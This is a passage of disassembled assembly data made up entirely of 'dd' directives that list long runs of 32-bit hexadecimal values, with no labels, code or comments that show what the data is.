		dd 0E2A529ECh, 8050068h, 0D6A89B52h, 7BE73BF0h,	0B21FFC8Eh
		dd 0D159C722h, 0C44221F4h, 7607CEE2h, 3C17BC5Ah, 6452FE16h
		dd 3E310006h, 0C0CA44C6h, 0FE642600h, 0B217D114h, 92D60A3Ah
		dd 16DD54D0h, 6FBD52ADh, 0C00A0D47h, 3F6A4866h,	1D2330h
		dd 931CD428h, 583BFB5Fh, 2E62459h, 0A46BC110h, 0E0056DF5h
		dd 0B5BD8BDFh, 372C3194h, 5661D1Dh, 814009E4h, 0A2B984E3h
		dd 0C2802564h, 7B506E10h, 240950D5h, 7C04476Dh,	9965FF8Bh
		dd 0D5171794h, 0C29C9ABFh, 0CCB5ACFFh, 0BD091725h, 5DD8B249h
		dd 0C56FD2E6h, 0A588C500h, 95900A9Ah, 89771B26h, 5B0D8C60h
		dd 79FC0014h, 7EC383Dh,	0A7057A6Ch, 619B1C5Ch, 0E0E3F6FBh
		dd 9D9E7E6Ch, 0CEDE302h, 880F5901h, 579F526Ch, 0EB338279h
		dd 0E99D8040h, 0F29E3AE1h, 7A55F1C9h, 3D0CA14Ah, 0FD3761A5h
		dd 80178F0Eh, 221291F0h, 31DF09BFh, 5D035ED8h, 2D5075E9h
		dd 0A8F88CD5h, 3511E19Ch, 0BF016A17h, 75BC91D8h, 23828A73h
		dd 8B00093Dh, 32EFC1FEh, 43C680Ch, 28F66F4h, 0E00D4B57h
		dd 0A095FFD5h, 0BD32E91Ah, 0DF58FDFEh, 0A9C52030h, 3F28C929h
		dd 852C91C2h, 0AF0710Eh, 7C6A6350h, 6E405605h, 0C3146112h
		dd 0D6E0C1h, 0E09104Bh,	78C53C2Fh, 0ACDA011Ah, 0D2D41CA4h
		dd 0C0E4C55Ch, 311D34CEh, 27431BF5h, 0C8D129B3h, 1FC7DD5Bh
		dd 3F17E62Ah, 670EDF3Dh, 114A6DBh, 410028F8h, 7DD427E6h
		dd 25E9C372h, 1ED30DEDh, 2C4E0D0h, 891BFC6Eh, 0DCAB018Dh
		dd 44D04EDDh, 0C7A22322h, 4B8BC25h, 8004C24Bh, 4585290Bh
		dd 132AD4BFh, 351F6189h, 0C08B111Ah, 1D696E2Eh,	6F4036FFh
		dd 259D0BBBh, 33F6BD2Fh, 22134356h, 9D8D0BD0h, 6DDFAE65h
		dd 8C53A2Dh, 0AD46B21Ah, 0FEA8101h, 680EC2B0h, 5EB49733h
		dd 0DA6E6FAh, 7B07D1A4h, 69C02082h, 43411A41h, 0B7FB1C0Eh
		dd 144195E1h, 0AC091892h, 0F908282h, 97366480h,	4D0F9144h
		dd 0E0D888B2h, 0C9B8DE74h, 57F047h, 6035627Bh, 8B505F61h
		dd 0EE90CA26h, 682F1B24h, 4034EA56h, 1B69CB4Ah,	0DC06DC7Eh
		dd 0C95FB105h, 7C03E8ECh, 0C80A6EEAh, 657FEF9h,	60457C61h
		dd 0BC00E6BFh, 66905B26h, 27D99AB9h, 0B5515650h, 2FEBF601h
		dd 24812475h, 0C2076BBBh, 3C9245Dh, 34C18080h, 9B8D8BB3h
		dd 2587C098h, 4F9DA0Dh,	119D09ACh, 2A521426h, 8A3287F6h
		dd 5C0867DEh, 33EDC06h,	1291BB77h, 38F0C2B8h, 0A34A128h
		dd 34B8FA55h, 0CDB77780h, 0F100932Eh, 604F5CA8h, 48A2D59Eh
		dd 61124BE7h, 0D4C73220h, 810BC466h, 2DD3CC6h, 40AC53Bh
		dd 4790D861h, 89B96003h, 0F00D08ECh, 2F86D768h,	20D78B3Eh
		dd 189905ECh, 511D00FCh, 74DF284Ch, 7A00AC6Eh, 6967E5E7h
		dd 0FEAE33FFh, 59CE388Ah, 24048180h, 495C20FBh,	8E85604Ah
		dd 7952A3FAh, 0CA61FA26h, 3E79C9h, 198EA6DCh, 0AA0057A1h
		dd 4B50F8EEh, 26C7037h,	0CBDAC72Dh, 0E36C3106h,	6DB5290Bh
		dd 0EA64F523h, 7D4F2BEh, 849313DEh, 0BA007FB5h,	3516E642h
		dd 0B58538CAh, 70B4FB4Bh, 2012D9D2h, 0F40B3011h, 0A1CF16Dh
		dd 65E12975h, 0B33DF7E4h, 0BF4F8063h, 0BE0E3918h, 0E827F757h
		dd 70E25C69h, 109D8AB7h, 182B3D7h, 34CBA0B1h, 2012BE53h
		dd 0F709BAC4h, 137EDB1Dh, 4652D2AEh, 0D8570F0Fh, 0FD807864h
		dd 5F634140h, 0A6004B77h, 180C7226h, 9D698839h,	5A774AC6h
		dd 0FEBF3103h, 0C10104BEh, 0C13A8B58h, 72173F7Dh, 6C603444h
		dd 0FE305486h, 8ED637BAh, 5B53D22Eh, 2A07A0E2h,	8A801F61h
		dd 0CD9D23DCh, 30AC7792h, 811948D5h, 1145BD23h,	0CB5E8B08h
		dd 57294582h, 9C30873Dh, 0B9F9BD89h, 21F12015h,	27BE2E19h
		dd 0D1947301h, 132DC011h, 2EB1A80Bh, 7FA510E8h,	0F2640A5Ah
		dd 596E3E1h, 0DD5F8270h, 0E43D4587h, 28EF0F9Eh,	9AA9CA3Fh
		dd 398212A9h, 0C6D41F6Dh, 58B10F2Dh, 0D2A0A23Fh, 2D7F5A10h
		dd 4B62802h, 0E0BA1B23h, 0B02EA31Dh, 36B22430h,	0FB8A4E1Ah
		dd 0F99027F1h, 5802FEC0h, 0A4DF1882h, 594BC052h, 4FEA45Fh
		dd 834DADBAh, 0BD0E8169h, 239825E5h, 9BC6C019h,	3FC2FBCh
		dd 0B8C4FA4Ah, 0D89088FFh, 3F28127Ch, 2F49AE3Ch, 30309300h
		dd 252C2BE2h, 3EF15FF6h, 0F9BB9D00h, 2EC5763h, 8F43DDB4h
		dd 2E62A066h, 58DC74F4h, 9C126FDAh, 19330421h, 0D1F50A2Eh
		dd 49046CC4h, 0E781001Eh, 0FEDAD5h, 985D6814h, 0C4B2CC3Ch
		dd 2609B19Ah, 810EC8D8h, 32D7E2F5h, 0CAF894Ch, 0B16C3446h
		dd 29004CAEh, 1E0E834Eh, 99E50A5h, 2644D205h, 0B7B5CA46h
		dd 67C40A30h, 0EE0D17D1h, 62D16DDh, 1A84CCB9h, 42F9B5A1h
		dd 0BECAFA96h, 2271EDC1h, 770429CFh, 0E55925h, 0FC3F688h
		dd 0A60008A9h, 997EC1E2h, 9549B763h, 1FA1E1h, 245F9D68h
		dd 1497EF08h, 6381AB2Ah, 2310F7B0h, 0D9026A84h,	1F442Fh
		dd 0DD11F76Ch, 5020A7DEh, 28808FAh, 97BB02C3h, 7CB0363Dh
		dd 37A68144h, 69E50907h, 2EEEF4Dh, 46FC8A56h, 0A00F757Ch
		dd 7BF5133h, 58966FA7h,	6BB72B5Fh, 0A7B85C80h, 98CE4F2Ah
		dd 61B049B1h, 0FDEC885Bh, 93B16700h, 0B675D182h, 8102060Fh
		dd 0E5A85E9h, 1BB574E7h, 1915CBEh, 0F4D0F528h, 0BD29801Ch
		dd 0BC21C922h, 0D425126Bh, 1ECB82EAh, 54016800h, 0F120B07h
		dd 59981184h, 0D64E0CBFh, 0BDB188h, 7E64A6E2h, 34816146h
		dd 63C2462h, 0DC02F412h, 1E945795h, 0C8C6800Bh,	51520E90h
		dd 0BF023D4Ch, 48775B31h, 5BB40C8h, 90FC5141h, 49951201h
		dd 0C3D5472Ah, 5275206Eh, 41B50B6Ah, 9051F47h, 612BD388h
		dd 5062DDF0h, 7C97E9EAh, 14E0280Ah, 0B4A6EDC2h,	3933358h
		dd 0DDB58D48h, 0F5B53D40h, 50888497h, 487E8Ch, 1C84C737h
		dd 446B7323h, 91205909h, 0AE0880E2h, 288F38A6h,	0E79F8905h
		dd 5053883Fh, 0EB4493BEh, 7ED52CAAh, 81A51060h,	25F746C9h
		dd 445F2BA9h, 0F08A7A87h, 784E93D0h, 4E3E9D30h,	0C359A4EFh
		dd 8B21ED02h, 972944B5h, 0CBC3D5EDh, 802DAB54h,	421FA29h
		dd 0FE85C720h, 0C729FC1Bh, 0F8D97E80h, 38725BAh, 9740C3CFh
		dd 256C2893h, 5FCD60FCh, 0A99F99C3h, 89C94BBBh,	20F18DCDh
		dd 0F3B87169h, 0ECA5A200h, 4FE57FE2h, 203CB053h, 2552946h
		dd 0E79B2AADh, 9480308Fh, 2364116Ch, 31B7BB17h,	13351E04h
		dd 601963AFh, 0E682D1E2h, 0EF721F09h, 99D9BD24h, 196F4092h
		dd 65A5B500h, 5354F50Ch, 8059FC0Bh, 0D2ACA538h,	6E7B2CF1h
		dd 0B6D7128Ch, 0D1408789h, 9048EE96h, 8EF719CFh, 205C6AF3h
		dd 0D2947418h, 917467Ch, 806BE5E3h, 5AADD328h, 0D2A2A31Bh
		dd 2F660C02h, 0BB104181h, 0EA147820h, 0C3E13B67h, 5CAD830Fh
		dd 15BC56F3h, 9809278Ch, 5660C560h, 7949469Fh, 0D9C9B85Eh
		dd 7D400204h, 5ECB8AEh,	1747AEF8h, 2C14F8D8h, 5C67A355h
		dd 0C3412060h, 839913C0h
		dd 0A7F97BDh, 0D401C7B3h, 5074BD2Dh, 0BE3BC167h, 0C16E5E50h
		dd 74C8ED00h, 0E7D5C551h, 975B8619h, 82D6EE56h,	13055C5h
		dd 285DBD23h, 0CE9C78E4h, 7893D27h, 0A17A3C19h,	0C6FA8Bh
		dd 905882B3h, 54D11630h, 843A12E9h, 0A038C47Ah,	6169F38Bh
		dd 6DC2095Ah, 75D0C06Ah, 1097346Fh, 1E7859Dh, 92BCB0F6h
		dd 0E01A59AEh, 33043945h, 0B5FFAB20h, 945177F4h, 0D29E4089h
		dd 8B0EEE0Fh, 629A46EDh, 0EAE77D1Fh, 7FD2CA0Fh,	8E850B37h
		dd 180F5B2h, 480B999Bh,	982D47C0h, 52D9947Bh, 0A8953A70h
		dd 12BB61E6h, 0FE1BA58h, 8D89896Dh, 29ED3ADAh, 15612CB9h
		dd 0FAB901C5h, 1902D2ECh, 4FBFFD9Dh, 4C7B460Dh,	50078A93h
		dd 0C5A035F2h, 527BBA49h, 7B5B2A00h, 0B19D89A6h, 0E9C72D6Eh
		dd 816310B5h, 0FE1C5FC6h, 0CBCC3E20h, 0FC7C26E9h, 0EC53121Eh
		dd 0D222D87Bh, 5F982580h, 6CE811Bh, 1172B906h, 80AA1C33h
		dd 2EF8B1Ah, 0FE47FDBh,	22B038Dh, 525AD176h, 60BB0E81h
		dd 2EDF2082h, 10B289B0h, 2C99750Fh, 4488B8D6h, 7E5A5461h
		dd 0BEE277B3h, 0A4D340D5h, 84F2E8ACh, 32304E04h, 2F8681Fh
		dd 72C29D2Fh, 7E83E982h, 28CA6842h, 0DEAF56h, 0B92B255Dh
		dd 8D8B0DDAh, 828208EAh, 572E197Ch, 56C59A54h, 44AEB3C5h
		dd 898B5FD8h, 7DB6B2Ah,	9BB402C0h, 0E67DCBFAh, 49BD3108h
		dd 4190130Fh, 67B8661Bh, 0C1203B04h, 1DD59F3Eh,	40FF2529h
		dd 80F755ACh, 614A5BE2h, 37D1685Ch, 0AB07254Ah,	17B7F02Ch
		dd 99905FDAh, 172DDC4Bh, 5A0F5080h, 8A9DD187h, 3F5935D9h
		dd 9C000B6Eh, 7EE1A755h, 4F17B7B9h, 499D6F15h, 0ECB10826h
		dd 0A0B4B853h, 505B2F31h, 1869CB10h, 0F7E7EC00h, 557B222h
		dd 0C7EE6941h, 0C5708373h, 766023Ch, 7CE55A36h,	0C281F060h
		dd 7505C9FEh, 85315F57h, 2651CCE9h, 8B9B3BF7h, 0BE1E4A77h
		dd 59C075DEh, 0FD1F6DC5h, 8B0F390Dh, 193C1F12h,	1E559D80h
		dd 0D448BA62h, 81093259h, 0D19CFB5Ah, 0CBC81ACCh, 0A96602E9h
		dd 0F4B35E17h, 95AAEC02h, 660DEF6Dh, 7C7E1Bh, 0EDFAADDFh
		dd 9D4BC67Fh, 0E4082700h, 2BDB339Ah, 35929BDh, 9D0104BCh
		dd 2F7CB8A5h, 0C05BED58h, 6329EBE8h, 0C02D071Dh, 8C20C04h
		dd 16396FEEh, 5E497A22h, 110F3513h, 115F801Dh, 36F675h
		dd 350AE1FBh, 81858928h, 5B4B234Eh, 74788B41h, 6001DE50h
		dd 755817C7h, 5C89B967h, 75541309h, 0DBE0E7C7h,	2F6977h
		dd 973316C3h, 786617E5h, 55EC2600h, 3929D881h, 1E59F049h
		dd 856ADC80h, 906EB4C1h, 0C9EEB833h, 1F72BF07h,	0EFF16BF9h
		dd 0CBF03F5h, 2EF201F7h, 0F31FF11h, 16EA628Ch, 47C85BF8h
		dd 0B39A0E64h, 0F74B34A9h, 0F35D7A98h, 99BF334Ah, 8158E45Bh
		dd 0FC4CEB00h, 0BF0F14BDh, 7412C1D1h, 0F3571FE9h, 0D0C50E00h
		dd 78B06E30h, 18F0553h,	91AD8533h, 0E6E983CCh, 0B800E471h
		dd 0E3D1C8A0h, 0DD7E001Dh, 0C5293515h, 8016C3Dh, 110C4133h
		dd 2824984h, 0EF83F38Bh, 8D12C65Eh, 0AD3004C4h,	0C1B826h
		dd 2808CBF4h, 0CC32D78Bh, 56008D72h, 0B8E46AFDh, 25FEE3h
		dd 20E5580Ch, 0BA6D2D0Fh, 85DA0E00h, 0E09D69D6h, 0FE6B063Fh
		dd 8533789h, 0F921D160h, 1AB9D61h, 0DF68A4Fh, 0F8407149h
		dd 0DD00AC74h, 9A99BC88h, 602843B6h, 97911004h,	1100C6BEh
		dd 182B85E0h, 0D4425Dh,	0B68BDD1Fh, 9D5F382h, 3D189A71h
		dd 3F6812EFh, 9C4F0094h, 226714B9h, 0DF00BF48h,	35E2B58Bh
		dd 30CC39DDh, 0DA2096F7h, 5E29CDF9h, 37E2202Dh,	0F82333BCh
		dd 9D6C0130h, 18833FE3h, 64FC88CBh, 968D9D01h, 0B9A67798h
		dd 0B6EFD081h, 0D388C25Fh, 0FA52807h, 36733D2h,	0FB06DE30h
		dd 0C09AE832h, 0D207C621h, 0C50CC973h, 1885F093h, 218F60C2h
		dd 77355245h, 2E449900h, 1DDB3AAEh, 0E4854467h,	78CF413Fh
		dd 0DDF70619h, 79D4FA19h, 0C9630667h, 95B12DAh,	1A21F460h
		dd 1D079D5h, 136E3D26h,	0D99E92ACh, 0DA7800E3h,	9C57F1DBh
		dd 48382E80h, 4E980315h, 1E8FBAA9h, 212B0830h, 483054h
		dd 2EC6E8D5h, 29D3B136h, 63471902h, 882BA80Ah, 0C63AB0ECh
		dd 0DE9D6702h, 0CE315B3Fh, 9D5FF710h, 3E6D5A00h, 0C81CF330h
		dd 9F3B0A33h, 1154E2E9h, 483380D6h, 8C269810h, 74F2A44h
		dd 5D8C482Bh, 0A6286091h, 4C055A3Dh, 0CA6E5F98h, 3063E022h
		dd 3776D213h, 0A1222346h, 0D20BCA00h, 4A895D4h,	14E70335h
		dd 73906E97h, 780209DFh, 0BCA0E6F6h, 0C865AD16h, 82053000h
		dd 71D36BE3h, 5C5B007Fh, 0A8EE95CAh, 4335F70Fh,	0C1EA308Dh
		dd 0A1FBBC73h, 26D1CC48h, 0C8001218h, 3D4B584h,	0D9BEC1C3h
		dd 195EE8B8h, 0FC32D2ECh, 9B0CE7FBh, 0D2E4C589h, 50510CD8h
		dd 8DD1EBF8h, 0E1A22000h, 36C2994h, 0F617003Ah,	0B2EEDCAh
		dd 0D80424ACh, 870FCC41h, 1033BC83h, 7C0370D0h,	0C10C98EAh
		dd 9975C238h, 66D0294h,	327C0A64h, 2A461C44h, 489D661Fh
		dd 0D2C4533Fh, 9D5EF640h, 3939CFADh, 27630097h,	9C4213B3h
		dd 88A16377h, 71063DC2h, 50606FEBh, 0FD6C2098h,	7C657400h
		dd 5E7DE638h, 0C2261419h, 0E3DF9C25h, 39D21507h, 641833E7h
		dd 0DCC409Dh, 12C2D2h, 656ED47h, 0FE65D995h, 103C1948h
		dd 194CD8A6h, 6DB9223Ch, 9BC816B4h, 0C240C0C4h,	6F31519h
		dd 6EFBAAFFh, 0A40221BDh, 0F42E2454h, 90CC40F6h, 34858430h
		dd 9760CA44h, 34921C9Fh, 8B1FC000h, 45910B51h, 17120009h
		dd 0C28767CFh, 3891BD89h, 0FD189AF1h, 0E0384F00h, 1E3EA8A5h
		dd 0C66E302Ch, 0C702B89h, 49CA6B1Dh, 0DE8ACE41h, 0CBE8D2E0h
		dd 0F8E44C32h, 4CA7D310h, 166040E4h, 60E0F824h,	394CFF87h
		dd 2A9D9E7h, 89AF54h, 155E6D3Bh, 0E84030D4h, 0D10F8CCDh
		dd 42F22E98h, 40EE4C44h, 0F45F972Ch, 41F8A8E7h,	0F9C33E02h
		dd 61239052h, 35D21107h, 3CCE13E4h, 0D209C800h,	921C677Ch
		dd 471F42ECh, 5485AA7Dh, 3804ED44h, 6CC8E8D2h, 147E8C64h
		dd 2B483876h, 0CCBE05Ch, 364503D2h, 6DD61766h, 0A4C81492h
		dd 0A64183ACh, 28CC2441h, 97980800h, 70B79230h,	0E9159EE3h
		dd 8C71D432h, 14483704h, 23624698h, 482F5320h, 0EA0E0A3Eh
		dd 40DCC405h, 3A18D190h, 3F22BA00h, 0CDC10A3Eh,	2CA49017h
		dd 7CC0C752h, 7C2E9B46h, 87F60681h, 0A898188Ah,	0E4010D46h
		dd 1636E79h, 88F30CDBh,	7900DC21h, 40AD4C04h, 93E50E4h
		dd 0B3374180h, 9F0B4402h, 30DA580Dh, 6C0879E2h,	64DAF163h
		dd 621F4FF2h, 0E82A0179h, 0EAE53AB0h, 0BE67189Ah, 17E6F0B6h
		dd 0B92BF730h, 50F34440h, 412CCCA6h, 0A26C6322h, 5CE930D2h
		dd 0E7AE9500h, 1ECD127Eh, 0D022549Fh, 47F9005Ah, 9499CC83h
		dd 7201132Bh, 0AA8E5E38h, 0C5F096A0h, 9C410CF1h, 39F890FFh
		dd 0E675EB01h, 1F9EE5E1h, 412F4980h, 0A0FA962Ah, 3E5CB400h
		dd 0E4385860h, 0ECF62E95h, 0D9DFC074h, 8848D3ABh, 138E84D0h
		dd 4B10DC14h, 0DCF867A3h, 189E0C48h, 0F900E169h, 0DB07BD48h
		dd 0C8C7A8Ah, 3B241A63h, 0BF581528h, 1B38183Ch,	0F9681D31h
		dd 3A1479BEh, 900F0C0Fh, 2C0A215Dh, 9D68C0A8h, 63463FDFh
		dd 0F800D022h, 1A19D60h, 3B61E12h, 1A036F97h, 807731F0h
		dd 13774458h, 4C27C911h, 3309899Eh, 6A79E814h, 22E14663h
		dd 0D81D07F3h, 806B7D79h, 10915463h, 1C94742Eh,	0D59D9981h
		dd 18101C9Fh, 0D40062D0h, 5DA94796h, 2201065h, 463361C3h
		dd 4097139Fh, 0B980F211h
		dd 41239BAFh, 0A765A3Ch, 9867D175h, 939D3111h, 8BD00A9Dh
		dd 40D3C498h, 0C89D65FDh, 561D0027h, 4BD610CDh,	0A28F6EFh
		dd 5899C006h, 2518CF79h, 4A8FAC00h, 635F4F44h, 4C30FDA1h
		dd 32048CD5h, 1E980F48h, 4E202562h, 38B4482Ah, 28DC1B6Ch
		dd 5A9AF10h, 205C1AD9h,	0CF8858CFh, 0A8EDAAC0h,	1AB30A1Eh
		dd 89ACDFF8h, 29837B0Fh, 5823E0DDh, 9D6B012Fh, 237B3FE2h
		dd 63FB803Ch, 4804D9Dh,	0DEFE846h, 8C7C813Ch, 0A4430013h
		dd 0C0946983h, 99C7837h, 4D8B8702h, 0D68C047h, 149F4C64h
		dd 977EC7h, 0DE481A67h,	800D1038h, 9552F3B2h, 29B016Bh
		dd 98B3153Ch, 7097891Ch, 4083CB11h, 28A97F8h, 0A20FA4E8h
		dd 0C66F9C0Ch, 164410D0h, 9794F23h, 9465295Ch, 0BC60F0E4h
		dd 0C524E8B9h, 6340D095h, 0A0123C42h, 18513FA4h, 99C36DDEh
		dd 711E4419h, 8600478Ch, 0E0ED113Eh, 9C400933h,	88A0B2B7h
		dd 0DCCC4C12h, 4676EC94h, 93A3923h, 97209F63h, 80D19148h
		dd 0C711B918h, 0A4F00073h, 0D837EB49h, 1D060B52h, 40804CC8h
		dd 0D1DCB1D8h, 0BB6019A2h, 921801A3h, 0ECD064CFh, 0D5CDF4F7h
		dd 0FE10F8C4h, 62850512h, 0ED405D9h, 0DC8408D1h, 164839C0h
		dd 84564398h, 0D8803155h, 48104092h, 0D1FC24A7h, 0AC8E008Ch
		dd 2DC90361h, 0A8C5AE17h, 0D022F62Ch, 483530D8h, 364E98EEh
		dd 51882Ch, 0E496482Dh,	5B8EF4C3h, 87703B02h, 0A08CC266h
		dd 91A55994h, 0CF0301B8h, 0EC22DBF9h, 6028213Dh, 0C8A0F48Ch
		dd 45450D5h, 0F7E23AC4h, 85EA20h, 24D1B35Fh, 16B883F5h
		dd 61506800h, 4D093A9h,	2050909Ch, 15481A1Ch, 90662488h
		dd 465E34AEh, 84DB019Ch, 6EA0D12h, 9E18A429h, 31E9F11Bh
		dd 751FB979h, 0C79CD43Ah, 7080140h, 0E2C5E539h,	54100AD5h
		dd 12A80ABCh, 165C016Fh, 25E6BAC3h, 0A2DC63A0h,	0B56D309Eh
		dd 0E7CB7700h, 0EBCC4210h, 5F09EB3h, 34081Ah, 3EE7580h
		dd 9729F07Ch, 9F7134F4h, 0C33EB918h, 35481EDh, 4D911E53h
		dd 3D94CC50h, 9984A815h, 0D25A288Fh, 6820A0B4h,	973980F3h
		dd 74D4DE24h, 0C144484h, 71F48092h, 189F7928h, 463400E8h
		dd 9DA39A21h, 0A7A38F98h, 6D946000h, 523E410Ah,	0C7631235h
		dd 0D76008BAh, 114834C0h, 943CEB98h, 482C50B0h,	1FC93400h
		dd 3B72D663h, 0CD0B03D8h, 52DCC3DDh, 74B75A99h,	15444590h
		dd 2A6F1917h, 403B89E8h, 7E5F970Ch, 9440D148h, 8C25E8F4h
		dd 1917C100h, 5A127532h, 7930015Dh, 0C3C0EDAh, 65D422E4h
		dd 0A8606060h, 0EC34D210h, 5800960Bh, 0D20C08C7h, 51B00FCEh
		dd 0EC84206Ch, 0DE700D0Dh, 2C0BB8D3h, 0F4C19F88h, 27FC178Dh
		dd 0B045788Ah, 7E074640h, 63687908h, 40F5C4D1h,	0BA79D61Bh
		dd 5E1600B9h, 42254C0Ch, 949C631Eh, 23C76E89h, 0F086BEC8h
		dd 0F802CC37h, 91290019h, 0FC788B14h, 410463F1h, 0A01A03D4h
		dd 1CA48C95h, 0E3058C0Ch, 0F9636D79h, 1204828h,	77B179DBh
		dd 0FBD002BDh, 6D920999h, 426BBCE8h, 5AAF23A8h,	6C502011h
		dd 14CAA5E8h, 6DC0D0C8h, 12D366D2h, 0CBA05097h,	0C0F0C8D8h
		dd 0C58CFD5Fh, 0FC44985Ah, 0C4F40FE9h, 0CB9318B7h, 4565B895h
		dd 0EB94440Dh, 643010ADh, 2A9F0C90h, 9D31C16Eh,	0DDD44500h
		dd 5265874h, 6AFC26D8h,	9946741Ch, 71EBEF03h, 40099EC1h
		dd 19527797h, 1AE09970h, 4609AE5h, 8C13053Ch, 88D88EBCh
		dd 0B291C027h, 1902F721h, 201A6315h, 39084038h,	6EDF5BCFh
		dd 12071840h, 0FE5B570h, 151F0BF5h, 63657540h, 6F149847h
		dd 1268E4EEh, 0E4D7621Dh, 0F4B07421h, 2B4E1436h, 0E9E2388h
		dd 0ACE2F443h, 0A859B280h, 5557003Ch, 0BB9273C0h, 0BC504BFBh
		dd 410507B9h, 85309A06h, 69D84C84h, 0C81D80E6h,	3E802311h
		dd 0DC4265CEh, 9FA41050h, 6100B099h, 0B76792Fh,	44120055h
		dd 0BC8B7156h, 0D30608C9h, 94C24EF2h, 2B7F1DC9h, 5D78C0AAh
		dd 0C3F69A3Ah, 457C3Ah,	843524FCh, 5B7588h, 64A18048h
		dd 6BCC3A81h, 0DB13B09Ch, 0ABC3EC08h, 4A71780Ch, 0CF80F900h
		dd 0E1705ACCh, 0D6971599h, 0B82FDCC5h, 2891EC17h, 0C2E68880h
		dd 110057EFh, 99860653h, 0B31326Eh, 0DA89635Fh,	28E44445h
		dd 667BF60h, 0D61D010Bh, 977831A7h, 80B8A2C4h, 0CC2C3BAEh
		dd 36441CEAh, 0A018B635h, 13C9727h, 0B2106FA7h,	93918BF8h
		dd 88D0C220h, 0E8FC37E2h, 14BD2CBEh, 0F346742Ch, 3EA80701h
		dd 304301DBh, 0CC00570Ch, 10CE1D81h, 0C01E9FA1h, 4A4B16E9h
		dd 0DB00E7ECh, 25377ED6h, 262FD274h, 0D6031D1h,	2880D63h
		dd 606005E8h, 0E20075EBh, 0CA1D158Bh, 281B30FFh, 460100Eh
		dd 0D49A1CDCh, 8F1881E0h, 0A89C753Ah, 0E63E7C88h, 18FF281Ah
		dd 465ECCBCh, 109D0099h, 89C190B5h, 3FDC02D3h, 4243C84h
		dd 26D9EC51h, 0BD01AB18h, 984D0FA5h, 0F4489667h, 0B49930B5h
		dd 76900E70h, 9DF91CB9h, 2809B718h, 820F3FE7h, 1FA241Ch
		dd 8B8622F7h, 5785A28h,	9041E98Fh, 0D4130314h, 0E59DE8h
		dd 0F40FDAC6h, 8A43FC59h, 0EB00BF78h, 0B6FBD237h, 25657F9Ch
		dd 0CC403822h, 0E1C7199Eh, 27D0929Dh, 0E802D86Eh, 10D406A1h
		dd 80FCA474h, 0F6BE6D07h, 20EBAC41h, 0C5E61660h, 89D66991h
		dd 220C5002h, 0A2C4800Fh, 1269DE44h, 21709927h,	0D567379Ch
		dd 781000BFh, 943A166Fh, 6EB49043h, 3703E63Bh, 0BCE9C9D1h
		dd 4CA0C53Eh, 7B95B0D3h, 460C4BF1h, 39209EE0h, 7636F80Fh
		dd 0CC24A0FAh, 16084E9h, 6DB1FCA9h, 0E8AD0A99h,	6E02B244h
		dd 9C404D05h, 5C870C7h,	0AC425665h, 0C3D4B07Bh,	8E021CB1h
		dd 0DC8C6Bh, 0C62E5F99h, 92AFB9C3h, 0C43FF09Ah,	1A49E03h
		dd 0F6B7455Dh, 3B5710EBh, 5476BEh, 0FCEA0B44h, 6776E033h
		dd 0C8A59538h, 942A7FF0h, 1506B0E5h, 0E791C655h, 3A8D0941h
		dd 38985CA0h, 81C2E0CAh, 490B6844h, 3187EE0Ch, 8FCD4E33h
		dd 56E62DC0h, 5F7918F1h, 3AF6F300h, 1E1366A5h, 0C5D7517h
		dd 0A45E1DB8h, 0D0C50FE9h, 50F0DE7Fh, 7D760583h, 84345472h
		dd 747C43ACh, 7922F950h, 3A6700DAh, 8BE0CD59h, 86FC9016h
		dd 51CA1019h, 6F10E430h, 0B5253CE9h, 44A44779h,	0ABED60A2h
		dd 37EA003Bh, 13627BE4h, 0A439B5C6h, 72C05193h,	30F3F268h
		dd 0D91D5F38h, 0B0F1579Fh, 0C701FE94h, 7CD83859h, 2FB41A17h
		dd 0D6F06045h, 574606Bh, 738326B4h, 34A487CEh, 0E3F0C3C1h
		dd 5BD39102h, 405EBD4Eh, 2F616A2Dh, 80ABB73Dh, 81467404h
		dd 0AE875Ch, 5A88B03Bh,	23202E79h, 84B002Ah, 0DE635EF1h
		dd 0BBD0C812h, 0A88B0808h, 3E98B14Ch, 64609100h, 9F569C42h
		dd 8AA1200h, 794F13A0h,	2FCB18C2h, 6409098h, 70B68A04h
		dd 0E8953E92h, 0EAE088A6h, 0CA040AF8h, 0E9F7E4C7h, 0A6D44640h
		dd 0BE006895h, 0A8A211ACh, 2258B35h, 6797BD28h,	5449DB32h
		dd 10BCD4Ch, 0EB31660Ah, 0A3009C65h, 75D5E670h,	42471F5Eh
		dd 8461A27h, 8688B004h,	32141920h, 80AC3794h, 0C080991Dh
		dd 80BF4DA3h, 3006E91Dh, 5E0741B9h, 2C1C421Bh, 55307868h
		dd 0F42DE00Ah, 7D01CDB8h, 0F1B4ACD6h, 83C87595h, 601E2C85h
		dd 1CE54074h, 2B0AD190h, 94E2F808h, 0B0BD2583h,	44F380D9h
		dd 243B4860h, 0F2C4E2D2h, 655930D2h, 0CF21FA1Fh, 0DC01945Ch
		dd 0D2F69C43h, 3A08BC7Ch, 0B5031524h, 98EC3F0h,	0B0CC85A1h
		dd 0C6A3805Dh, 0F23A0439h, 208B9597h, 25F0B0C1h, 706E2ED8h
		dd 0ED985B03h, 77A00F09h
		dd 90DC5Eh, 0CC740808h,	0E98D3EFBh, 7C598009h, 8CCDBC88h
		dd 0ED264403h, 0F8D540DBh, 13D9C00Fh, 44B547CBh, 0B87442FCh
		dd 1D1F78A8h, 0C20E160h, 0FFD44B86h, 40BC6E88h,	0F6465Eh
		dd 0A3DF4849h, 5BF7DEEh, 114075B3h, 5A0C090h, 631E1398h
		dd 80B1041Ah, 0F0BCD7C0h, 7CC01024h, 2700D046h,	9E67A221h
		dd 310041DCh, 39EA6D94h, 5DD03C10h, 3AECA0EDh, 64007576h
		dd 0A1B5904Fh, 16FD066Bh, 0C1883BB8h, 36631DB8h, 0E3601044h
		dd 8CE5557Fh, 19D07C0h,	2155E2F2h, 601A2448h, 15013AB1h
		dd 942A6E0Ah, 798F1145h, 2189F5C5h, 0CC917C17h,	0A892CD80h
		dd 0B86213E9h, 7379AB19h, 6A6B7820h, 61911813h,	63AC1807h
		dd 42200069h, 0E04054h,	909510E5h, 98E6A90Eh, 3490A876h
		dd 0EC861F20h, 22BC201Ah, 1DCFCB6h, 0EA29D688h,	0FCE032F2h
		dd 0E81D41EBh, 0B5560A63h, 5375E000h, 25E1FB16h, 38096EF7h
		dd 0F7E43045h, 7BD75960h, 8694E501h, 7AACBC57h,	5C583CF8h
		dd 0B182A8F4h, 5401155Dh, 1882F728h, 0B69DDAD5h, 46761C74h
		dd 0BE9B059Ch, 38C7762Dh, 0B58F9AC1h, 712869A1h, 0A3189Fh
		dd 2950AAACh, 67387F04h, 34B2E2FEh, 0EC9C3C09h,	4494E788h
